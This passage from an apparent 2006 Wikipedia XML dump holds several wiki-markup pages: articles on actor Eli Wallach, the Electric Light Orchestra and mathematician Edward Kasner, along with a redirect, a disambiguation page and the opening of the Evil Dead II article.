      </contributor>
      <minor />
      <comment>Robot: [[Cat#Communication|Nyaa]]! [[Template talk:Categoryredirect|Categoryredirect]]: [[Category:Actors and actresses appearing on Law &amp; Order]] → [[Category:Law &amp; Order actors]].  Requested change by [[User:Kbdank71|]]</comment>
      <text xml:space="preserve">'''Eli Wallach''' (born [[December 7]], [[1915]]) is an [[United States|American]] film, TV and stage actor. He served in the [[United States Army]] in [[World War II]].

Wallach was born in [[Brooklyn, New York]] to a [[Jewish]] family. He graduated from [[University of Texas at Austin|The University of Texas at Austin]] but gained his first [[method acting|method]] experience at the [[Neighborhood Playhouse]].

Wallach made his [[Broadway theatre|Broadway]] debut in [[1945]] and won a [[Tony Award]] in [[1951]]. His film debut was instantly accomplished in [[Elia Kazan]]'s controversial ''[[Baby Doll]]'' and he went on to become a prolific player, although rarely in a starring role he was memorable in many of his early films, especially ''[[The Misfits (film)|The Misfits]]'', ''[[The Magnificent Seven]]'' and as Tuco (the 'Ugly') in [[Sergio Leone]]'s ''[[The Good, the Bad and the Ugly]]''. He also continued to work on the stage as well as doing made-for-TV films.

He has been married to acclaimed stage actress [[Anne Jackson]] (born 1926) since [[March 5]], [[1948]], and they have three children: Peter, Katherine and Roberta.

==Filmography==
[[Image:EliWallach.JPG|thumb|280px|right|Eli Wallach in ''[[The Good, the Bad and the Ugly]]'']]
*''[[Baby Doll]]'' ([[1956]])
*''[[The Lineup (film)|The Lineup]]'' ([[1958]])
*''[[Seven Thieves]]'' ([[1960]])
*''[[The Magnificent Seven]]'' ([[1960]])
*''[[The Misfits (movie)|The Misfits]]'' ([[1961]])
*''[[Hemingway's Adventures of a Young Man]]'' ([[1962]])
*''[[How the West Was Won (movie)|How the West Was Won]]'' ([[1962]])
*''[[The Victors]]'' ([[1963]])
*''[[Act One]]'' ([[1963]])
*''[[The Moon-Spinners]]'' ([[1964]])
*''[[Kisses for My President]]'' ([[1964]])
*''[[Lord Jim]]'' ([[1965]])
*''[[Genghis Khan (film)|Genghis Khan]]'' ([[1965]])
*''[[The Poppy Is Also a Flower]]'' ([[1966]])
*''[[How to Steal a Million]]'' ([[1966]])
*''[[The Good, the Bad and the Ugly]]'' ([[1966]])
*''[[The Tiger Makes Out]]'' ([[1967]]) (also producer)
*''[[Ace High]]'' ([[1968]])
*''[[How to Save a Marriage (and Ruin Your Life)]]'' ([[1968]])
*''[[A Lovely Way to Die]]'' ([[1968]])
*''[[The Brain (1969 movie)|The Brain]]'' ([[1969]])
*''[[Mackenna's Gold]]'' ([[1969]])
*''[[The Adventures of Gerard]]'' ([[1970]])
*''[[The Angel Levine]]'' ([[1970]])
*''[[The People Next Door]]'' ([[1970]])
*''[[Zizag]]'' ([[1970]])
*''[[Romance of a Horsethief]]'' ([[1971]])
*''[[Long Live Your Death]]'' ([[1971]])
*''[[Cinderella Liberty]]'' ([[1973]])
*''[[Crazy Joe]]'' ([[1974]])
*''[[The Dream Factory]]'' ([[1975]]) (documentary) (narrator)
*''[[Stateline Motel]]'' ([[1975]])
*''[[Shoot First... Ask Questions Later]]'' ([[1975]])
*''[[L'chaim: To Life]]'' ([[1975]]) (documentary) (narrator)
*''[[Plot of Fear]]'' ([[1976]])
*''[[Eye of the Cat]]'' ([[1976]])
*''[[Independence]]'' ([[1976]])
*''[[The Sentinel]]'' ([[1977]])
*''[[The Deep]]'' ([[1977]])
*''[[The Domino Principle]]'' ([[1977]])
*''[[Nasty Habits]]'' ([[1977]])
*''[[Little Italy]]'' ([[1978]])
*''[[Girlfriends]]'' ([[1978]])
*''[[Movie Movie]]'' ([[1978]])
*''[[Circle of Iron]]'' ([[1978]])
*''[[Firepower]]'' ([[1979]])
*''[[Winter Kills]]'' ([[1979]])
*''[[The Hunter]]'' ([[1980]])
*''[[The Salamander]]'' ([[1981]])
*''[[Sam's Son]]'' ([[1984]])
*''[[Sanford Meisner: The American Theatre's Best Kept Secret]]'' ([[1985]]) (documentary)
*''[[Tough Guys]]'' ([[1986]])
*''[[Hollywood Uncensored]]'' ([[1987]]) (documentary)
*''[[Nuts (film)|Nuts]]'' ([[1987]])
*''[[Funny]]'' ([[1989]]) (documentary)
*''[[The Two Jakes]]'' ([[1990]])
*''[[The Godfather: Part III]]'' ([[1990]])
*''[[Article 99]]'' ([[1992]])
*''[[Mistress]]'' ([[1992]])
*''[[Night and the City (1992 film)|Night and the City]]'' ([[1992]])
*''[[Honey Sweet Love]]'' ([[1994]])
*''[[Elia Kazan: A Director's Journey]]'' ([[1995]]) (documentary) (narrator)
*''[[Two Much]]'' ([[1995]])
*''[[The Associate]]'' ([[1996]])
*''[[Uninvited (1999 movie)|Uninvited]]'' ([[1999]])
*''[[Keeping the Faith]]'' ([[2000]])
*''[[Cinerama Adventure]]'' ([[2002]]) (documentary)
*''[[Advice and Dissent]]'' ([[2002]]) (short subject)
*''[[The Root]]'' ([[2003]])
*''[[Broadway: The Golden Age, by the Legends Who Were There]]'' ([[2003]]) (documentary)
*''[[Mystic River (film)|Mystic River]]'' ([[2003]]) (Cameo)
*''[[King of the Corner]]'' ([[2004]])
*''[[The Moon and the Son]]'' ([[2005]]) (short subject) (voice)
*''[[The Easter Egg Adventure]]'' ([[2005]]) (narrator)

==Trivia==
*Although his ''[[The Magnificent Seven]]'' character (Calvera) and the rest of his bandits are eventually defeated in that film, he has ironically outlived all of the seven stars, except for [[Robert Vaughn]] who is still alive as of [[2006]], despite being older than all of them besides [[Yul Brynner]].
*In [[2005]], Wallach released his autobiography ''The Good, the Bad and Me: In My Anecdotage''. In this tome, Wallach talked about his most famous role as Tuco in ''[[The Good, the Bad and the Ugly]]''. He mentioned that he didn't realize he was going to be &quot;blessed&quot; with that title until he saw the film. He mentioned it was an honor to work with [[Clint Eastwood]], whom he praised for his professionalism. Wallach mentioned, however, that director [[Sergio Leone]] was notoriously careless in ensuring the safety of his actors during dangerous scenes. It was during filming that Wallach almost died when he accidentally drank from a bottle of acid that a film technician had carelessly placed next to his soda bottle. Wallach said that Eastwood sprang to his aid and washed his mouth out.
*He is the subject of the song &quot;Eli Wallach&quot;, on the album ''(Methods of Getting Rid of) Hiccups'' by Australian singer/songwriter [[Darren Hanlon]].

==External links==
*{{imdb name|id=0908919|name=Eli Wallach}}

[[Category:1915 births|Wallach, Eli]]
[[Category:Actors and actresses appearing on ER|Wallach, Eli]]
[[Category:American World War II veterans|Wallach, Eli]]
[[Category:American stage actors|Wallach, Eli]]
[[Category:Batman actors|Wallach, Eli]]
[[Category:Brooklynites|Wallach, Eli]]
[[Category:Jewish American actors|Wallach, Eli]]
[[Category:Law &amp; Order actors|Wallach, Eli]]
[[Category:Living people|Wallach, Eli]]
[[Category:Polish-Americans|Wallach, Eli]]
[[Category:Spaghetti Western actors|Wallach, Eli]]

[[de:Eli Wallach]]
[[fr:Eli Wallach]]
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[[ja:イーライ・ウォラック]]
[[sv:Eli Wallach]]</text>
    </revision>
  </page>
  <page>
    <title>Electronegative</title>
    <id>10483</id>
    <revision>
      <id>39542934</id>
      <timestamp>2006-02-14T04:41:36Z</timestamp>
      <contributor>
        <username>Postglock</username>
        <id>282639</id>
      </contributor>
      <comment>rv to original redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Electronegativity]]</text>
    </revision>
  </page>
  <page>
    <title>Electric Light Orchestra</title>
    <id>10484</id>
    <revision>
      <id>41966690</id>
      <timestamp>2006-03-02T22:58:13Z</timestamp>
      <contributor>
        <username>Afrayer</username>
        <id>624623</id>
      </contributor>
      <minor />
      <comment>Closed parens.</comment>
      <text xml:space="preserve">[[Image:ELO Logo.JPG|right|thumb|200px|The ELO Logo as seen on numerous music covers]]
'''Electric Light Orchestra''' ('''ELO''') was a successful [[Birmingham]] [[Rock (music)|rock music]] group of the [[1970s]] and [[1980s]].

== History ==
The band, formed by [[Jeff Lynne]] (of The [[Idle Race]]) with [[Roy Wood]] and [[Bev Bevan]] (the remaining members of [[The Move]]) in [[1971]], used [[cello]]s and [[violin]]s to give their music a &quot;[[European classical music|classical]]&quot; sound. Roy Wood left ELO shortly after the release of their eponymously-titled first album (which produced the UK hit &quot;10538 Overture&quot;) and Jeff Lynne stepped up to lead the band (the first album was released with the mistaken title of ''No Answer'' in the [[United States|USA]], due to a mix-up with an uncompleted telephone call to the American label and subsequent secretarial message). [http://snopes.com/music/hidden/noanswer.asp]

The band went through a line-up change (as Wood took some musicians with him to form [[Wizzard]]), including a new [[Keyboard instrument|keyboardist]], [[Richard Tandy]], and released ''ELO II'' in [[1973]], from which came their first U.S. chart hit, a hugely elaborate cover of the [[Chuck Berry]] classic &quot;Roll Over Beethoven&quot;. They also released ''On The Third Day'' in [[1973]], and ''Eldorado'' in [[1974]], scoring another U.S. Top 40 hit with &quot;Can't Get It Out Of My Head&quot;.

In [[1975]], bassist and vocalist Kelly Groucutt joined, and ''Face The Music'' was released, from which the major singles were &quot;Evil Woman&quot; and &quot;Strange Magic&quot;, marking a shift to a more &quot;radio friendly&quot; sound. From the same album, the instrumental &quot;Fire on High,&quot; with its mix of strings and blazing acoustic guitars, saw heavy exposure as background music on [[CBS Sports Spectacular]] montages, though most viewers had no idea of the song's origins. The multi-[[Gold album|platinum]] album ''A New World Record'' was released in [[1976]] with hits such as &quot;Livin' Thing&quot; (remade by [[The Beautiful South]] in 2004), a re-release of The Move's &quot;Do Ya&quot;, and &quot;Telephone Line&quot;. The songs &quot;Livin' Thing&quot; and &quot;Telephone Line&quot; were prominently featured in the films ''[[Boogie Nights]]'' and ''[[Billy Madison]]'', respectively.

That was followed by the double album ''Out Of The Blue'', featuring the singles &quot;Turn To Stone&quot;, &quot;Sweet Talkin' Woman&quot;, and &quot;Mr. Blue Sky&quot;. The band then set out on a world tour, with an enormous (and hugely expensive) space ship set in tow.

In [[1979]], Lynne set out to capitalize on the growing popularity of [[disco]] with the album ''Discovery'' (or &quot;Disco very&quot; as he has been quoted). The album generated their biggest hit &quot;Don't Bring Me Down&quot; (the first ELO track '''not''' to feature strings), along with &quot;Shine A Little Love&quot; (sampled in [[2005]] by [[Mark Hatfield(Lovefreekz)|Lovefreekz]]) and &quot;Last Train To London&quot; (sampled in [[2003]] by [[Atomic Kitten]] on their hit &quot;Be With You&quot;). Not long after this album, the violinist [[Mik Kaminski]] and the two cellists [[Hugh McDowell]] and [[Melvyn Gale]] were considered surplus to requirements and dismissed.

Soon after, ELO was enlisted to provide half of the soundtrack for the musical film ''[[Xanadu (film)|Xanadu]]'', the other half provided by [[Olivia Newton-John]], who starred in the movie along with [[Gene Kelly]]. The movie bombed but the soundtrack did very well, with hit singles from both Newton-John (&quot;Magic&quot;, #1 in the U.S.) and ELO (&quot;I'm Alive&quot; and &quot;All Over the World&quot;) as well as the title track to the movie, performed by Newton-John with ELO which reached #1 in the UK single charts and #8 on the U.S. Billboard top 40 chart.

In [[1981]], ELO's sound changed again, moving away from disco and into the [[1980s]], with the science-fiction concept album ''Time'' (single: &quot;Hold On Tight&quot;,&quot;Twilight&quot;) on which synthesizers replaced classical strings. Following this, their popularity began to wane. 

''Secret Messages'' was released in [[1983]], with a guest appearance by former ELO violinist Mik Kaminski on the track &quot;Rock 'n' Roll Is King&quot;; this was the only hit single taken from this album. ''Secret Messages'' was originally recorded as a double album; however, the record company had different ideas, citing that it would be too expensive. Some of the songs that didn't survive the hatchet job cropped up as single B-sides and on later box sets; however, the tribute song &quot;Beatles Forever&quot; is still unavailable. It has been reported that Jeff Lynne is embarrassed by this song, hence its unavailability. Shortly after this album Kelly Groucutt was dismissed from the band, and subsequently sued Jeff Lynne for royalty fees.

By [[1986]], ELO was reduced to a three-piece band. They released their final album, ''Balance Of Power'' (singles: &quot;Calling America&quot;, &quot;So Serious&quot;), which was all synthesizers and no strings, before going their separate ways.

===Electric Light Orchestra, Part II===
Without Lynne's approval or permission, former ELO drummer Bev Bevan formed &quot;Electric Light Orchestra, Part II&quot; [[1990]], releasing an album that went straight to the bargain bins. Though offended by the unauthorized use of the band name, Lynne decided that the expense of a court battle was not worth the effort, and so Bevan's venture continued. A second album, ''Moment Of Truth'', was released in [[1994]]. The quality of music produced by Part II, compared with the original ELO, is a bone of contention amongst fans. Many fans conclude that without Jeff Lynne at the helm, it is not ELO. 

It was revealed through later interviews that Jeff Lynne did not particularly enjoy touring and preferred the confines and experimental nature of studio production to capture a distinct sound. The touring ELO act of the 70's was a visual extravaganza due to the elaborate spaceship sets, but the music was weak, with taped backing tracks providing most of the orchestral riffs the band was famous for.

ELO Part II remedied this problem by playing with a full symphony orchestra on many dates providing the massive, undistorted &quot;wall of sound&quot; which was lost during the arena shows of ELO's heyday. While the two studio records produced by ELO Part II may fall short Lynne's pop genius, the live shows provided by the band far outshined the musicianship of the &quot;spaceship&quot; era ELO as best heard on the &quot;One Night, Live in Australia&quot; CD which has been remixed, remastered, and re-released under so many guises that the original CD may prove difficult to acquire.

ELO Part II first consisted of Bev Bevan, Pete Hancock, Neil Lockwood and Eric Troyer. These four were augmented on tour with former ELO members Hugh MacDowell (cello), Mik Kaminski (violin) and Louis Clark (orchestra and orchestral keyboards). Prior to their first live album, former bassist/vocalist Kelly Groucutt joined the band. After the first studio album and first live album, MacDowell, Hancock and Lockwood left the band. ELO Part 2 leader Bev Bevan recruited former labelmate Phil Bates (of &quot;Trickster&quot;). Bates remained with the band until the mid 1990's and was replaced by Parthenon Huxley. In November of 1999, Bev Bevan played his last show with the band at the Sands hotel in Atlantic City. The group reformed under the name &quot;The Orchestra&quot; with drummer Gordon Townsend.

In 2002, the Orchestra released an extremely limited amount of their CD &quot;No Rewind&quot; which was produced and released without involvement from a major record label. The album contains the Orchestra's best known non-ELO song, &quot;Over London Skies&quot; and a cover of &quot;Twist and Shout&quot; which begins in a slow, plaintive minor key with arpeggiated chords before building to the familiar, rocking major progression. The band continues to tour albeit irregularly in the United Kingdom, India, Spain, Brazil, and occasionally the United States.

In 2005, the band won the right to return to it's ELO based name and is now called ELO Part 2 Former Members. Thier first tour of the UK in years is to embark later in 2006.

===Re-forming Electric Light Orchestra===
Jeff Lynne's comeback with ELO started in [[2001]] when he reformed the band with completely new members and released the album ''Zoom''. Former ELO member [[Richard Tandy]] rejoined the band a short time afterwards for a tour that was unfortunately cut short due to poor ticket sales. A superb DVD of the opening concert was released in the wake of the aborted tour. ''Zoom'' was made after Lynne had collaborated with [[Traveling Wilburys|The Traveling Wilburys]] and took on a more organic sound, with less emphasis on strings and electronic effects. Guest musicians included former [[The Beatles|Beatles]] [[Ringo Starr]] and [[George Harrison]].

In [[2003]] and [[2004]], ELO's song &quot;Mr. Blue Sky&quot; enjoyed a resurgence. It appeared in a commercial for the [[Volkswagen]] [[Volkswagen Beetle|Beetle]] convertible, was featured as a song sung by the main characters in the movie adaptation of ''The Magic Roundabout'' and was used in the trailers for the films ''[[Adaptation.]]'' and ''[[Eternal Sunshine of the Spotless Mind]]''. &quot;Mr. Blue Sky&quot; was also the theme song of the [[television series]], ''[[LAX (TV series)|LAX]]''. In [[2005]], ELO's song &quot;Hold On Tight&quot; was used in an [[Ameriquest]] commercial. &quot;Do Ya&quot; has been used in a [[Monster.com]] commercial and also in trailers for the movie ''[[The 40-Year-Old Virgin]]''. Additionally, &quot;Twilight&quot; from ''Time'' was used as the theme song for the popular Japanese TV series ''[[Densha Otoko]]'' and in the opening of the 1983 Japanese sci-fi convention [[Daicon IV]]. [[JCPenney]] used &quot;Livin' Thing&quot; in its 2005 Christmas commercials and the TV Comedy [[My Name Is Earl]] used &quot;Livin' Thing&quot; in 2005 for the episode &quot;Quit Smoking&quot;.

ELO's latest release is a remastered compilation, ''All Over The World: The Very Best of Electric Light Orchestra''.

== Electric Light Orchestra band members ==
*[[Jeff Lynne]] - [[guitar]]s, lead vocals (1971&amp;ndash;1986, 2000&amp;mdash;)
*[[Roy Wood]] - [[guitar]]s, cello, [[clarinet]], [[bassoon]], [[oboe]], vocals (1971&amp;ndash;1972)
*[[Bev Bevan]] - [[Drums|drums]], backing vocals (1971&amp;ndash;1986)
*[[Andy Craig]] - [[cello]] (1971&amp;ndash;1972)
*[[Richard Tandy]] - [[Keyboard instrument|keyboards]] (1973&amp;ndash;1986, 1999&amp;mdash;)
*[[Kelly Groucutt]] - [[bass guitar]], backing vocals (1975&amp;ndash;1983)
*[[Mik Kaminski]] - [[violin]] (1973&amp;ndash;1979)
*[[Mike Edwards]] - [[cello]] (1973&amp;ndash;1974)
*[[Hugh McDowell]] - [[cello]] (1973&amp;ndash;1979)
*[[Wilfred Gibson]] - [[violin]] (1973)
*[[Melvyn Gale]] - [[cello]] (1975&amp;ndash;1979)
*[[Rick Price]] - [[bass guitar]], vocals (1971&amp;ndash;1972)
*[[Bill Hunt]] - [[Horn (instrument)|horn]] (1971&amp;ndash;1972)  
*[[Steve Woolam]] - [[violin]] (1971&amp;ndash;1972)
*[[Trevor Smith (musician)|Trevor Smith]] - [[cello]] (1971&amp;ndash;1972)
*[[Colin Walker]] - [[cello]] (1971&amp;ndash;1972)
*[[Michael d'Albuquerque]] - [[bass guitar]], [[singer|vocals]] (1973&amp;ndash;1974)
*[[Louis Clark]] - orchestral arrangements (1974&amp;mdash;1979)

*[[Rosie Vela]] - backing vocals (2000&amp;mdash;) [[Zoom (album)]]
*[[Marc Mann]] - [[guitar]]s, keyboards, backing vocals, cello arrangements (2000&amp;mdash;) [[Zoom (album)]]
*[[Gregg Bissonette]] - [[drums]], backing vocals (2000&amp;mdash;) [[Zoom (album)]]
*[[Matt Bissonette]] - [[bass guitar]], backing vocals (2000&amp;mdash;) [[Zoom (album)]]
*[[Peggy Baldwin]] - [[cello]] (2000&amp;mdash;) [[Zoom (album)]]
*[[Sarah O'Brien]] - [[cello]] (2000&amp;mdash;) [[Zoom (album)]]

==Discography==
===Studio albums===
#''[[Electric Light Orchestra (album)|Electric Light Orchestra]]'' ([[1971]]) - released in the US as ''No Answer'' ([[1972]])
#''[[Electric Light Orchestra II]]'' ([[1973]])
#''[[On The Third Day]]'' (1973)
#''[[Eldorado (album)|Eldorado]]'' ([[1974]])
#''[[Face The Music (album)|Face the Music]]'' ([[1975]])
#''[[A New World Record]]'' ([[1976]])
#''[[Out of the Blue (album)|Out of the Blue]]'' ([[1977]])
#''[[Discovery (Electric Light Orchestra album)|Discovery]]'' ([[1979]])
#''[[Xanadu (Soundtrack)|Xanadu]]'' ([[1980]])
#''[[Time (Electric Light Orchestra album)|Time]]'' ([[1981]])
#''[[Secret Messages]]'' ([[1983]])
#''[[Balance of Power (Electric Light Orchestra album)|Balance of Power]]'' ([[1986]])
#''[[Zoom (album)|Zoom]]'' ([[2001]])

===Live album===
#''[[The Night The Light Went On (In Long Beach)]]'' ([[May 12]], 1974)

===Reissues===
*[[Eldorado (album)|''Eldorado'' (expanded)]] ([[2001]])
*[[Discovery (Electric Light Orchestra album)|''Discovery'' (expanded)]] (2001)
*[[Time (album)|''Time'' (expanded)]] (2001)
*[[Secret Messages|''Secret Messages'' (expanded)]] (2001)
*''ELO 2 &amp;mdash; Lost Planet'' ([[2003]])
*''First Light Series'' (2003)

===Compilation albums===
*''[[Olé ELO]]'' ([[1976]])''
*''[[ELO's Greatest Hits]]'' ([[1979]])
*''[[Afterglow (Electric Light Orchestra box set)|Afterglow]]'' ([[1990]])
*''[[Strange Magic: The Best of Electric Light Orchestra]]'' ([[1995]])
*''[[Flashback (Electric Light Orchestra box set)|Flashback]]'' ([[2000]])
*''[[The Essential Electric Light Orchestra]]'' ([[2003]])
*''[[All Over the World: The Very Best of Electric Light Orchestra]]'' ([[2005]])

===Singles and highest chart positions (US)===
'''From ''Electric Light Orchestra II'':'''
*&quot;Roll Over Beethoven&quot; ([[1973]]); #72
'''From ''On the Third Day'':'''
*&quot;Showdown&quot; (1973); #59
*&quot;Daybreaker&quot; (1973); #87
'''From ''Eldorado'':'''
*&quot;Can't Get It Out Of My Head&quot; ([[1974]]); #9
'''From ''Face the Music'':'''
*&quot;Evil Woman&quot; ([[1975]]); #10
*&quot;Strange Magic&quot; (1975); #14
'''From ''A New World Record'':'''
*&quot;Telephone Line&quot; ([[1976]]); #7
*&quot;[[Livin' Thing]]&quot; (1976); #13
*&quot;Do Ya&quot; (1976); #24
'''From ''Out of the Blue'':'''
*&quot;Turn to Stone&quot; ([[1977]]); #13
*&quot;It's Over&quot; (1977); #75
*&quot;Sweet Talkin' Woman&quot; (1977); #17
*&quot;Mr. Blue Sky&quot; (1977); #35
'''From ''Discovery'':'''
*&quot;Shine a Little Love&quot; ([[1979]]); #8
*&quot;Confusion&quot; (1979); #37
*&quot;Last Train to London&quot; (1979); #39
*&quot;Don't Bring Me Down&quot; (1979); #4
'''From ''Xanadu'':'''
*&quot;All Over the World&quot; ([[1980]]); #13
*&quot;I'm Alive&quot; (1980); #16
*&quot;Xanadu&quot; (1980); #8
'''From ''Time'':'''
*&quot;Twilight&quot; ([[1981]]); #38
*&quot;Hold On Tight&quot; (1981); #10
'''From ''Secret Messages'':'''
*&quot;Four Little Diamonds&quot; ([[1983]]); #86
*&quot;Rock and Roll is King&quot; (1983); #19
'''From ''Balance of Power'':'''
*&quot;Calling America&quot; ([[1986]]); #18

===Singles and highest chart positions (UK)===

*&quot;10538 Overture&quot; (Jul 1972) #9 
*&quot;Roll Over Beethoven&quot; (Jan 1973) #6 
*&quot;Showdown&quot; (Oct 1973) #12
*&quot;Ma-Ma-Ma-Belle&quot; (Mar 1974) #22
*&quot;Evil Woman&quot; (Jan 1976) #10
*&quot;Strange Magic&quot; (Jul 1976) #38
*&quot;Livin' Thing&quot; (Nov 1976) #4
*&quot;Rockaria!&quot; (Feb 1977) #9
*&quot;Telephone Line&quot; (May 1977) #8
*&quot;Turn To Stone&quot; (Oct 1977) #18
*&quot;Mr Blue Sky&quot; (Jan 1978) #6
*&quot;Wild West Hero&quot; (Jun 1978) #6
*&quot;Sweet Talkin' Woman&quot; (Oct 1978) #6 
*&quot;ELO EP&quot; (Dec 1978) #34
*&quot;Shine A Little Love&quot; (May 1979) #6 
*&quot;The Diary Of Horace Wimp&quot; (Jul 1979) #8 
*&quot;Don't Bring Me Down&quot; (Sep 1979) #3
*&quot;Confusion&quot; / &quot;Last Train To London&quot; (Nov 1979) #8 
*&quot;I'm Alive&quot; (May 1980) #20
*&quot;Xanadu&quot; ''Feat. Olivia Newton-John'' (Jun 1980) #1 
*&quot;All Over The World&quot; (Aug 1980) #11 
*&quot;Don't Walk Away&quot; (Nov 1980) #21
*&quot;Hold On Tight&quot; (Aug 1981) #4
*&quot;Twilight&quot; (Oct 1981) #30
*&quot;Ticket To The Moon&quot; / &quot;Here Is The News&quot; (Jan 1982) #24 
*&quot;Rock 'N' Roll Is King&quot; (Jun 1983) #13
*&quot;Calling America&quot; (Mar 1986) #28

==Electric Light Orchestra, Part II==
===Band members===
*Bev Bevan - percussion, vocals (1988&amp;ndash;1999)
*Kelly Groucutt - bass guitar, vocals (1988&amp;ndash;1999)
*Mik Kaminski - violin (1988&amp;ndash;1999)
*Eric Troyer - keyboards, vocals, guitar (1988&amp;ndash;1999)

=== Discography ===
*''[[Electric Light Orchestra Part II|Electric Light Orchestra, Part Two]]'' ([[1990]])
*''[[Moment of Truth (1994 album)|Moment of Truth]]'' ([[1994]])


== See also ==
*[[List of Rock Instrumentals]]

== External links ==
* [http://www.elofans.com/ ELO Fans.com] - news and discussion for fans of the Electric Light Orchestra
* [http://www.ftmusic.com/ Face The Music] - official ELO and related artists information site
* [http://musicmoz.org/Bands_and_Artists/E/Electric_Light_Orchestra/ MusicMoz category for ELO]
* [http://rockaria.com/ Rockaria.com] - fan site with full history and discographies of ELO and the Move
* [http://www.ulsmag.co.uk/ Under London Skies] - unofficial fanzine for The Orchestra, the band formerly known as ELO Part II
* [http://www.elolya.co.uk/ Light Years Ahead] - fan site with the rarest collection of 7&quot; single sleeves on the web
* [http://www.lyricsdir.com/electric-light-orchestra-lyrics.html Electric Light Orchestra Lyrics]
* [http://www.bl3nder.com/music/rhapsody/playlists/ELO.rpl ELO's Music] (a [[Rhapsody (online music service)|Rhapsody Playlist]])

[[Category:English musical groups]]
[[Category:Music from Birmingham, England]]
[[Category:Rock music groups]]

[[bg:Electric Light Orchestra]]
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[[nl:Electric Light Orchestra]]
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[[pt:Electric Light Orchestra]]
[[sk:Electric Light Orchestra]]
[[fi:Electric Light Orchestra]]
[[sv:Electric Light Orchestra]]</text>
    </revision>
  </page>
  <page>
    <title>Edward Kasner</title>
    <id>10485</id>
    <revision>
      <id>40694099</id>
      <timestamp>2006-02-22T10:06:41Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] migrate {{[[template:book reference|book reference]]}} to {{[[template:cite book|cite book]]}}</comment>
      <text xml:space="preserve">'''Edward Kasner''' (1878–1955) was a prominent [[United States|American]] [[mathematician]], best remembered today for popularizing the term ''[[googol]]''.

Kasner studied at [[Columbia University]] under [[Cassius Keyser]].  He received his Ph.D. in [[1899]]; his dissertation was titled ''The Invariant Theory of the Inversion Group''.

Around 1920, in order to pique the interest of children, Kasner wanted a catchy name for a very large number: one, followed by a hundred zeros.  On a walk in New Jersey's Palisades with his nephews, Milton (c. 1911–1980) and Edwin Sirotta, Kasner asked for their ideas. Nine-year-old Milton suggested &quot;googol&quot;. The Internet search engine [[Google]] was named as a play on the number googol. Kasner also coined the term  &quot;[[googolplex]]&quot; for the number written as one followed by a googol zeros; the Google offices are called Googleplex for this reason.

In 1940, with James Roy Newman, Kasner authored a semi-popular book surveying the entire field of mathematics called ''Mathematics and the Imagination'' ISBN 0486417034. It was in this book that the term &quot;googol&quot; was introduced. 

==References==
* {{cite book
 | last = Kasner | first = Edward
 | year = 1980
 | chapter = Differential-geometric aspects of dynamics
 | origyear = 1934
 | editor = C.Carpelan, A.Parpola P.Koskikallio (ed.)
 | title = The Logarithmic potential and other monographs
 | pages = pp. 235-263
 | location = New York
 | publisher = Chelsea
 | id = ISBN 0-828-40305-8
 }}
* {{cite book
 | last = Kasner | first = Edward
 | coauthors = Newman, James Roy
 | title = Mathematics and the Imagination
 | origyear = London: Penguin, [[1940]]; New York: Simon and Schuster, [[1967]]
 | publisher = Dover Pubns
 | year = April [[2001]]
 | id = ISBN 0486417034
 }}
* {{cite journal
 | last = Kasner | first = Edward
 | title = Geometrical theorems on Einstein's cosmological equations
 | journal = Amer. J. Math.
 | year = 1921 | volume = 43 | pages = 217
 }}
* {{cite journal
 | title = There Could Be No Google Without Edward Kasner
 | first = Carl | last = Bialik
 | journal = The Wall Street Journal Online
 | date = [[June 14]] [[2004]]
 }}

==External links==
* [http://www.google.com/corporate/history.html History from the Google website]

[[Category:1878 births|Kasner, Edward]]
[[Category:1955 deaths|Kasner, Edward]]
[[Category:American mathematicians|Kasner, Edward]]
[[Category:Contributors to differential geometry|Kasner, Edward]]
[[Category:Contributors to general relativity|Kasner, Edward]]
[[Category:19th century mathematicians|Kasner, Edward]]
[[Category:20th century mathematicians|Kasner, Edward]]

[[de:Edward Kasner]]
[[lb:Edward Kasner]]
[[nl:Edward Kasner]]</text>
    </revision>
  </page>
  <page>
    <title>ELO</title>
    <id>10486</id>
    <revision>
      <id>37272496</id>
      <timestamp>2006-01-29T22:59:04Z</timestamp>
      <contributor>
        <username>Mxn</username>
        <id>10795</id>
      </contributor>
      <comment>+vi:</comment>
      <text xml:space="preserve">'''ELO''' or '''Elo''' has several meanings:

* [[Electric Light Orchestra]], a [[Rock and roll|rock music]] group.
* [[ELO rating system]] for measuring relative strength of [[chess]] players.
* A contraction for &quot;[[hello]]&quot;, frequently used on the [[Internet]].
* [[Electronic Literature Organization]], a nonprofit organisation promoting electronic literary works.

{{TLAdisambig}}

[[de:ELO]]
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  <page>
    <title>Evil Dead II</title>
    <id>10487</id>
    <revision>
      <id>41578928</id>
      <timestamp>2006-02-28T07:04:33Z</timestamp>
      <contributor>
        <username>Sean Black</username>
        <id>294714</id>
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      <comment>Section header tweaks</comment>
      <text xml:space="preserve">{{Infobox Film |
  name     = Evil Dead II |
  image          = Evil Dead2 poster.jpg |
  director       = [[Sam Raimi]] |
  producer       = [[Robert Tapert]]&lt;br&gt;[[Alex De Benedetti]]&lt;br&gt;[[Irvin Shapiro]]&lt;br&gt;[[Bruce Campbell]] |
  writer         = [[Sam Raimi]]&lt;br&gt;[[Scott Spiegel]] |
  starring       = [[Bruce Campbell]] |
  movie_music    = [[Joe LoDuca]] |
  distributor    = [[Paramount Pictures]] |
  released   = [[March 13]], [[1987]] ([[United States|USA]]) |
  runtime        = 85 min. |
  language = [[English language|English]] |
  imdb_id        = 0092991 |
  music          = |
  awards         = |
  budget         = $3,500,000 |
  preceded_by    = ''[[The Evil Dead]]''|
  followed_by    = ''[[Army of Darkness]]''|
}}
'''''Evil Dead II''''' (also known as '''''Evil Dead 2: Dead by Dawn ''''' and '''''Evil Dead II, the Sequel to the Ultimate Experience in Grueling Terror''''') is a sequel to the movie ''[[The Evil Dead]]'' by [[Sam Raimi]] and starring [[Bruce Campbell]]. The story is largely a re-hash of the first film, but more humorous, displaying a [[Three Stooges]] influence.

In [[2000]], readers of ''[[Total Film]]'' magazine voted ''Evil Dead II'' the 34th greatest comedy film of all time. 

== Plot  summary==
{{spoiler}}
